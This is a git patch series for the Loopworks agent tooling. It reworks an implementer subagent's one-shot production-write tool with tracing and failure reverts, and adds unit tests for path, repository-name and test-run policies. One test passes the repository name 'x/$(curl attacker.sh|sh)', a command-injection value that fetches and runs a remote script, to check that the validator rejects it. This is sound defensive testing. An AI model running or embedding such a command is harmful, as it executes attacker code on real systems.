const span = startLoopworksSpan("loopworks.implementation.production_write", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, }); - assertProductionWriteNotClaimed(existingClaim); - const appliedMarker = await sandbox.readTextFile({ path: ".loopworks/test-patch-applied" }); - const applied = appliedMarker - ? (JSON.parse(appliedMarker) as { paths?: string[]; sha256?: string }) - : {}; - if (applied.sha256 !== input.testPatchSha256 || !applied.paths) { - throw new Error("Exact test patch must be applied before production writes."); - } - const fixtureMode = resolveImplementerFixtureMode().enabled; - const pinned = fixtureMode ? "a".repeat(40) : await readPinnedRepositoryCommit(sandbox); - if (!fixtureMode) { - const changed = await sandbox.run({ command: "cd repo && git diff --name-only" }); - const actualPaths = changed.stdout.split(/\r?\n/).filter(Boolean).sort(); - if (JSON.stringify(actualPaths) !== JSON.stringify([...applied.paths].sort())) { - throw new Error("Working tree contains changes outside the exact test patch."); + try { + const sandbox = await ctx.getSandbox(); + const existingClaim = await sandbox.readTextFile({ + path: ".loopworks/production-write-claimed", + }); + assertProductionWriteNotClaimed(existingClaim); + const appliedMarker = await sandbox.readTextFile({ path: ".loopworks/test-patch-applied" }); + const applied = appliedMarker + ? (JSON.parse(appliedMarker) as { paths?: string[]; sha256?: string }) + : {}; + if (applied.sha256 !== input.testPatchSha256 || !applied.paths) { + throw new Error("Exact test patch must be applied before production writes."); } - } - await sandbox.writeTextFile({ - path: ".loopworks/production-write-claimed", - content: input.testPatchSha256, - }); - const tracked = new Map(); - for (const file of input.files) { + const fixtureMode = resolveImplementerFixtureMode().enabled; + const pinned = fixtureMode ? "a".repeat(40) : await readPinnedRepositoryCommit(sandbox); + const tracked = new Map(); if (!fixtureMode) { - const tree = await sandbox.run({ command: buildGitTreeEntryCommand(pinned, file.path) }); - tracked.set(file.path, tree.exitCode === 0 && tree.stdout.trim().length > 0); - const guard = symlinkGuard(file.path) || "true"; - const directory = `repo/${file.path}`.slice(0, `repo/${file.path}`.lastIndexOf("/")); - const prepared = await sandbox.run({ - command: `${guard} && mkdir -p ${JSON.stringify(directory)} && ${guard}`, + const changed = await sandbox.run({ command: sandboxWorkingTreeStatusCommand }); + const actualPaths = parseWorkingTreePaths(changed.stdout); + if (JSON.stringify(actualPaths) !== JSON.stringify([...applied.paths].sort())) { + throw new Error("Working tree contains changes outside the exact test patch."); + } + for (const file of input.files) { + const tree = await sandbox.run({ command: buildGitTreeEntryCommand(pinned, file.path) }); + tracked.set(file.path, tree.exitCode === 0 && tree.stdout.trim().length > 0); + } + } + await sandbox.writeTextFile({ + path: ".loopworks/production-write-claimed", + content: input.testPatchSha256, + }); + try { + for (const file of input.files) { + if (!fixtureMode) { + const guard = symlinkGuard(file.path) || "true"; + const directory = `repo/${file.path}`.slice(0, `repo/${file.path}`.lastIndexOf("/")); + const prepared = await sandbox.run({ + command: `${guard} && mkdir -p ${JSON.stringify(directory)} && ${guard}`, + }); + if (prepared.exitCode !== 0) throw new Error(`Unsafe symlink for ${file.path}.`); + await sandbox.writeTextFile({ path: `repo/${file.path}`, content: file.content }); + } + } + const diffs = fixtureMode + ? input.files.map((file) => { + const lines = file.content.split("\n"); + return [ + `diff --git a/${file.path} b/${file.path}`, + "new file mode 100644", + "--- /dev/null", + `+++ b/${file.path}`, + `@@ -0,0 +1,${lines.length} @@`, + ...lines.map((line) => `+${line}`), + ].join("\n"); + }) + : await Promise.all( + input.files.map(async ({ path }) => { + const command = tracked.get(path) + ? `cd repo && git diff --no-ext-diff --no-color ${pinned} -- ${JSON.stringify(path)}` + : `cd repo && git diff --no-index --no-color -- /dev/null ${JSON.stringify(path)}`; + const result = await sandbox.run({ + command, + abortSignal: AbortSignal.timeout(10_000), + }); + if (tracked.get(path) ? result.exitCode !== 0 : ![0, 1].includes(result.exitCode)) { + throw new Error("Production patch could not be generated safely."); + } + return result.stdout; + }), + ); + const content = diffs.join("\n"); + const byteCount = Buffer.byteLength(content); + if (!content.trim() || byteCount > maxImplementationPatchBytes) { + throw new Error("Production patch is empty or exceeds 512 KiB."); + } + const patch = { + format: "unified-diff" as const, + content, + sha256: sha256(content), + byteCount, + paths: input.files.map(({ path }) => path), + }; + await sandbox.writeTextFile({ + path: ".loopworks/production-patch.json", + content: JSON.stringify({ sha256: patch.sha256, paths: patch.paths }), }); - if (prepared.exitCode !== 0) throw new Error(`Unsafe symlink for ${file.path}.`); - await sandbox.writeTextFile({ path: `repo/${file.path}`, content: file.content }); + span.setStatus({ code: SpanStatusCode.OK }); + return { patch }; + } catch (error) { + // Best-effort revert so a transient failure (timeout, guard, size cap) + // releases the one-shot claim instead of bricking the session. + const reverts = fixtureMode + ? [] + : input.files.map((file) => + tracked.get(file.path) + ? `cd repo && git checkout ${pinned} -- ${JSON.stringify(file.path)}` + : `rm -f ${JSON.stringify(`repo/${file.path}`)}`, + ); + for (const command of [ + ...reverts, + "rm -f .loopworks/production-write-claimed .loopworks/production-patch.json", + ]) { + try { + await sandbox.run({ command }); + } catch { + // Cleanup is best-effort; the original error is rethrown below. + } + } + throw error; } + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; + } finally { + span.end(); } - const diffs = fixtureMode - ? input.files.map((file) => { - const lines = file.content.split("\n"); - return [ - `diff --git a/${file.path} b/${file.path}`, - "new file mode 100644", - "--- /dev/null", - `+++ b/${file.path}`, - `@@ -0,0 +1,${lines.length} @@`, - ...lines.map((line) => `+${line}`), - ].join("\n"); - }) - : await Promise.all( - input.files.map(async ({ path }) => { - const command = tracked.get(path) - ? `cd repo && git diff --no-ext-diff --no-color ${pinned} -- ${JSON.stringify(path)}` - : `cd repo && git diff --no-index --no-color -- /dev/null ${JSON.stringify(path)}`; - const result = await sandbox.run({ command, abortSignal: AbortSignal.timeout(10_000) }); - if (tracked.get(path) ? result.exitCode !== 0 : ![0, 1].includes(result.exitCode)) { - throw new Error("Production patch could not be generated safely."); - } - return result.stdout; - }), - ); - const content = diffs.join("\n"); - const byteCount = Buffer.byteLength(content); - if (!content.trim() || byteCount > maxImplementationPatchBytes) { - throw new Error("Production patch is empty or exceeds 512 KiB."); - } - const patch = { - format: "unified-diff" as const, - content, - sha256: sha256(content), - byteCount, - paths: input.files.map(({ path }) => path), - }; - await sandbox.writeTextFile({ - path: ".loopworks/production-patch.json", - content: JSON.stringify({ sha256: patch.sha256, paths: patch.paths }), - }); - return { patch }; }, }); diff --git a/tests/unit/agent/implementation-tools.test.ts b/tests/unit/agent/implementation-tools.test.ts index 79b70ef..5b411a2 100644 --- a/tests/unit/agent/implementation-tools.test.ts +++ b/tests/unit/agent/implementation-tools.test.ts @@ -5,9 +5,12 @@ import { assertAllowedProductionFiles, assertProductionWriteNotClaimed, assertExactFocusedCommand, + assertWellFormedRepositoryFullName, classifyGreenRun, createImplementationExecutionReceipt, + parseWorkingTreePaths, redactImplementationOutput, + sandboxWorkingTreeStatusCommand, verifyImplementationExecutionReceipt, } from "@agent/subagents/implementer/lib/tool-policy"; @@ -41,6 +44,59 @@ describe("implementer write and execution policy", () => { expect(() => assertAllowedProductionFiles([{ path: ".env.local" }])).toThrow(); }); + it("allows production files named after fixtures while rejecting test directories", () => { + expect(() => + assertAllowedProductionFiles([{ path: "agent/subagents/implementer/lib/fixture-mode.ts" }]), + ).not.toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "tests/fixtures/data.ts" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "src/lib/runtime.test.ts" }])).toThrow(); + }); + + it("rejects repository names that could smuggle shell syntax into the checkout", () => { + expect(() => assertWellFormedRepositoryFullName("ncolesummers/loopworks")).not.toThrow(); + expect(() => assertWellFormedRepositoryFullName("x/$(curl attacker.sh|sh)")).toThrow(); + expect(() => assertWellFormedRepositoryFullName("owner/repo/extra")).toThrow(); + expect(() => assertWellFormedRepositoryFullName("owner")).toThrow(); + }); + + it("sees untracked files when verifying the sandbox working tree", () => { + expect(sandboxWorkingTreeStatusCommand).toContain("git status --porcelain"); + // Without --untracked-files=all, new directories collapse to "?? dir/" and + // hide the files inside them from path verification. + expect(sandboxWorkingTreeStatusCommand).toContain("--untracked-files=all"); + expect( + parseWorkingTreePaths("?? tests/unit/red.test.ts\n M src/app.ts\n D src/old.ts\n"), + ).toEqual(["src/app.ts", "src/old.ts", "tests/unit/red.test.ts"]); + expect(parseWorkingTreePaths(' M "tests/unit/sp ace.test.ts"\n')).toEqual([ + "tests/unit/sp ace.test.ts", + ]); + expect(parseWorkingTreePaths("")).toEqual([]); + }); + + it("classifies green runs by exit code and pass evidence, not incidental words", () => { + expect( + classifyGreenRun({ + exitCode: 0, + output: "✓ tests/unit/timeout.test.ts > handles request timeout\nTests 1 passed (1)", + testPath: "tests/unit/timeout.test.ts", + }), + ).toBe("pass"); + expect( + classifyGreenRun({ + exitCode: 0, + output: "tests/unit/runtime.test.ts", + testPath: "tests/unit/runtime.test.ts", + }), + ).toBe("invalid"); + expect( + classifyGreenRun({ + exitCode: 1, + output: "Tests 1 passed (1) tests/unit/runtime.test.ts", + testPath: "tests/unit/runtime.test.ts", + }), + ).toBe("invalid"); + }); + it("permits exactly one production write per implementation session", () => { expect(() => assertProductionWriteNotClaimed(null)).not.toThrow(); expect(() => assertProductionWriteNotClaimed("already-claimed")).toThrow( From 3031d9b82a54811d25ffde436c758f6f3dcf959d Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 22:08:08 -0700 Subject: [PATCH 10/10] fix(agent): emit stage-advancement logs from the implementation apply tool The transition's implementation_stage_advanced log was dead code because no caller passed a logger. Co-Authored-By: Claude Fable 5 --- agent/tools/apply_implementation_result.ts | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/agent/tools/apply_implementation_result.ts b/agent/tools/apply_implementation_result.ts index 1086dfd..957ced5 100644 --- a/agent/tools/apply_implementation_result.ts +++ b/agent/tools/apply_implementation_result.ts @@ -3,6 +3,7 @@ import { z } from "zod"; import { db } from "@/db/client"; import { applyDevelopmentLoopImplementationResult } from "@/lib/loops/development-run-transitions"; +import { logger } from "@/lib/observability/logger"; import { computeImplementationDigest, implementationResultSchema } from "../implementation-agent"; import { createImplementationFixtureHandoff } from "../implementation-fixture"; import { computeTestPlanDigest } from "../test-writing-agent"; @@ -81,6 +82,11 @@ export default defineTool({ stepId: "00000000-0000-4000-8000-000000000348", }; } - return applyDevelopmentLoopImplementationResult({ database: db, output: parsed, runId }); + return applyDevelopmentLoopImplementationResult({ + database: db, + logger, + output: parsed, + runId, + }); }, });